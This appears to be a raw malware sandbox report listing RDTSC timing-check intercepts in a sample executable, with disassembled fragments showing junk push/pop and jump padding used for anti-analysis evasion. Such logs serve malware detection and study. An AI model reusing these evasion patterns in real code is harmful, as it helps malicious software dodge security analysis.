Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCB50 second address: 8FCB84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D6h 0x00000007 jnl 00007FB99871C5C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007FB99871C5CAh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007FB99871C5C6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCB84 second address: 8FCB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCCE9 second address: 8FCCF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCCF7 second address: 8FCCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCE59 second address: 8FCE64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCE64 second address: 8FCE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DAD5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCE7E second address: 8FCE83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCE83 second address: 8FCEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB998C5DAD5h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCFF3 second address: 8FCFF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 904597 second address: 90459D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90459D second address: 9045AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FB99871C5C6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 903D62 second address: 903D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9083EA second address: 908416 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB99871C5D8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9075DE second address: 90760A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB998C5DAC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007FB998C5DAC6h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FB998C5DAD6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9077A7 second address: 9077AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9077AC second address: 9077B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9077B2 second address: 9077B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9077B6 second address: 9077BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907A9C second address: 907AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907AA1 second address: 907AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB998C5DACAh 0x00000008 jp 00007FB998C5DAC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907AB6 second address: 907AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D2h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907AD4 second address: 907AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907AE0 second address: 907AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907AE6 second address: 907AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907C61 second address: 907C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D1h 0x00000007 jnp 00007FB99871C5D2h 0x0000000d jg 00007FB99871C5C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907DB9 second address: 907DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907DC5 second address: 907E35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007FB99871C5D8h 0x00000010 jnl 00007FB99871C5C6h 0x00000016 pop esi 0x00000017 pushad 0x00000018 jmp 00007FB99871C5CCh 0x0000001d push edi 0x0000001e pop edi 0x0000001f jmp 00007FB99871C5D5h 0x00000024 jmp 00007FB99871C5CBh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d pop esi 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907E35 second address: 907E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 907FA5 second address: 907FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB99871C5D2h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90C93E second address: 90C942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90C942 second address: 90C952 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB99871C5C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90C952 second address: 90C956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90CAD4 second address: 90CADA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90CADA second address: 90CAE4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB998C5DACEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 90CAE4 second address: 90CAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FB99871C5C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912CE0 second address: 912CE8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912CE8 second address: 912D0A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB99871C5C8h 0x00000008 pushad 0x00000009 jmp 00007FB99871C5D3h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912D0A second address: 912D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jc 00007FB998C5DAC6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912D1B second address: 912D20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912D20 second address: 912D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912FA7 second address: 912FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 912FAD second address: 912FC0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB998C5DAC6h 0x00000008 jl 00007FB998C5DAC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9134F2 second address: 91350A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB99871C5C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91350A second address: 913510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913510 second address: 91352D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB99871C5C6h 0x00000008 jng 00007FB99871C5C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 je 00007FB99871C5C6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913AB0 second address: 913AC7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB998C5DAC6h 0x00000008 jp 00007FB998C5DAC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913AC7 second address: 913ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913ACC second address: 913AD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB998C5DAC6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913AD8 second address: 913AFB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jc 00007FB99871C5C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB99871C5D0h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913AFB second address: 913B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB998C5DAD8h 0x0000000f jmp 00007FB998C5DAD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913E09 second address: 913E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007FB99871C5C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jno 00007FB99871C5C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913E23 second address: 913E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DACEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 913E35 second address: 913E48 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b ja 00007FB99871C5C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91493E second address: 914942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91A026 second address: 91A02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91A02C second address: 91A030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91DF08 second address: 91DF18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007FB99871C5C6h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91DF18 second address: 91DF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91DF1C second address: 91DF22 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91D16F second address: 91D18D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB998C5DACDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91D18D second address: 91D191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91D2EE second address: 91D2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91D2F2 second address: 91D2F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 91D479 second address: 91D4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB998C5DAD1h 0x0000000a jmp 00007FB998C5DACBh 0x0000000f jmp 00007FB998C5DACBh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB998C5DACCh 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9273C4 second address: 9273CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9273CA second address: 9273CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9273CE second address: 9273D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9273D4 second address: 9273EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jp 00007FB998C5DAC6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 92570A second address: 92571C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007FB99871C5C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 925B07 second address: 925B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FB998C5DADEh 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FB998C5DAC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 925B1C second address: 925B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 925B20 second address: 925B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 926042 second address: 926048 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 926048 second address: 926052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 926052 second address: 926056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 926056 second address: 92605A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 927233 second address: 92724E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jc 00007FB99871C5C6h 0x00000014 jnl 00007FB99871C5C6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9251AB second address: 9251AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9251AF second address: 9251B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9251B5 second address: 9251D8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB998C5DACCh 0x00000008 pushad 0x00000009 jmp 00007FB998C5DAD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 92B461 second address: 92B466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 92B466 second address: 92B47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB998C5DAD3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 92B47D second address: 92B48D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 92B48D second address: 92B493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 93CF09 second address: 93CF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007FB99871C5CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 93CAD1 second address: 93CAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 93CC3C second address: 93CC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB99871C5C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 940F78 second address: 940F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 940F7E second address: 940F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 940F84 second address: 940F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 94096B second address: 94096F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 940ADE second address: 940AFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB998C5DAD7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 940AFA second address: 940B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 940B03 second address: 940B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 945757 second address: 94575C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
